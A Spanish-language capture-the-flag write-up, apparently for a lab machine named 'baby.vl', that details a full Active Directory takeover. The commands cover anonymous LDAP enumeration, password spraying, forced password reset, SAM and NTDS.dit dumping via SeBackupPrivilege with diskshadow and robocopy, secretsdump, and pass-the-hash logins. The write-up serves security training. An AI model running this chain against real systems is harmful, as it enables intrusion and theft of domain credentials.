NMAP

Al ejecutar el primer escaneo clasico de NMAP me daba como resultado varios puertos open | tcpwrapped:


Por lo que intento cambiar el metodo de escaneo por el siguiente:

1
nmap -n -vv -A --min-parallelism=50 --max-parallelism=150 -Pn -T2



DNS DOMAIN NAME


Lo agrego a /etc/hosts para trabajar mas comodo.


LDAP: Enumerando users

Considerando que esta expuesto, voy a intentar enumerar usuarios sin autenticarme:

1
ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl" |grep dn

Sigo enumerando y encuentro entre los comentarios del user “Teresa Bell” una descripcion interesante:


1
ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl" |grep desc -A4


Al parecer le resetearon la contraseña o el usuario nunca se logueo, podemos testear esto con crackmapexec:

1
sudo crackmapexec smb baby.vl -u teresa.bell -p 'BabyStart123!'

Y recibimos una mala noticia:


Al parecer el password fue cambiado, algo muy comun es tratar de verificar y comprobar si este password pudo haber sido reutilizado en otro usuario, entonces haremos un Spraying del mismo con todos los demás users presentes del sistema.

Para eso primero tenemos que generar un wordlist con los usuarios, y luego invocar a crackmapexec para que haga el rafagazo.


Creando Wordlist de users.txt

Con el siguiente comando podemos recibir toda la información sin filtrar, pero nos va a servir para ‘detectar’ un campo que nos permita identificar a los usuarios:

1
ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl"


1
ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl" |grep "member:"


Vemos el campo “member:”, y verificando el resto del archivo parece que es un campo acertado para extraer usuarios, sabiendo esto procedemos a la creación del wordlist de users.txt con un poco de regex:


1
ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl" |grep "member:" |cut -d "=" -f 2 |cut -d "," -f 1 |awk '/ / {print $1 "." $2}' >users.txt

Si verificamos:


Las primeras 7 lineas no parecen ser usuarios que nos sirva, asi que los filtramos y volvemos a verificar:

1
sed -i '1,7d' users.txt


Password Spraying

Utilizamos nuestro wordlist creado users.txt con la contraseña conocida que tenemos.

1
sudo crackmapexec smb baby.vl -u users.txt -p BabyStart123! --shares


Tenemos un match con la cuenta de Caroline.Robinson. Al parecer el estado de su password es que “debería ser cambiado”.


Cambiando el password con smbpasswd.py

Considerando que tenemos un match con Caroline.Robinson, y esta requiere cambiar su password, es el punto de aprovechamiento que necesitamos, usamos smbpasswd.py de Impacket:

1
smbpasswd.py -newpass 'MyHack1234' [email protected]


USER.txt


Ingresando con evil-winrm como Caroline.Robinson

Ingresamos con la nueva password que seteamos:

1
evil-winrm -u caroline.robinson -p 'MyHack1234' -i baby.vl


Si nos vamos a Desktop/, sacamos la flag de user.txt

ROOT.txt

Ahora que estamos conectados como caroline.robinson, y tenemos shell, lo primero siempre es verificar que tipo de privilegios poseemos en el sistema.

1
whoami /priv




Como podemos ver en la imagen resaltada, el usuario posee 2 privilegios importantes. SeBackupPrivilege y SeRestorePrivilege.

#SeBackupPrivilege:
Este privilegio otorga al usuario que lo posea el derecho de realizar copias de seguridad del sistema y de los archivos protegidos.

#SeRestorePrivilege:
Este privilegio permite al user que lo posea restaurar archivos y directorios del sistema

Juntando estos dos permisos y con el apoyo del siguiente link: https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-hashes-from-sam-registry


Dumping hashes

1
reg save hklm\system system
1
reg save hklm\sam sam


Procedo a descargar localmente los dos archivos.

  • sam
  • system

Usamos secretsdump.py para obtener los hashes:


Logueo con evil-winrm y me llevo una sorpresa:

1
evil-winrm -i baby.vl -u "administrator" -H "8d9....."




El hash que dumpeamos es ni mas ni menos que para ADMIN local. Por ende no es un admin de Dominio. Entonces vamos a intentar enfocarnos en el Admin de Dominio que es el mismo nombre y en como obtener el archivo NTDS.dit.

¿Que es NTDS.dit?

NTDS.dit es un archivo mas que importante en un sistema de dominio, esta localizado en todos los controladores de dominio. Este es una base de datos que almacena ‘datos’ de AD sobre objetos, usuarios, grupos, pertenecias de grupos, incluye los hashes NTLM de las passwords para todos los users.

Una vez que podemos obtener estos hashes, podemos loguear como cualquier user de dominio incluido los administradores.


Diskshadow + Robocopy

Este sera nuestro vector de ataque. Diskshadow es un comando incluido en Windows Server el cual nos permite crear copias de un disco que esta actualmente en uso.

En el siguiente link encontré algo muy util de una persona que se baso en una maquina de HackTheBox con una situacion similar a la que tenemos en esta maquina.

La cual consta de crear un script en el que ejecuta los comandos necesarios para crear una copia en este caso del NTDS.dit

Luego de realizar esto podremos extraer sin problemas el hash de ADMIN


Script File: mySam.txt

Creo el siguiente script localmente y lo subo con evil-winrm con la función “upload”

1
2
3
4
5
6
7
8
9
set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX


1
diskshadow /s mySam.txt


Cuando finaliza veremos que la copia fue realizada en el disco E:\


1
robocopy /b E:\Windows\ntds . ntds.dit

Finalmente, descargo el archivo ntds.dit y ejecuto secretsdump.py


1
secretsdump.py -sam sam -system system -ntds ntds.dit LOCAL


Finalmente logueamos con evil-winrm:

1
evil-winrm -i baby.vl -u "administrator" -H "ee445..."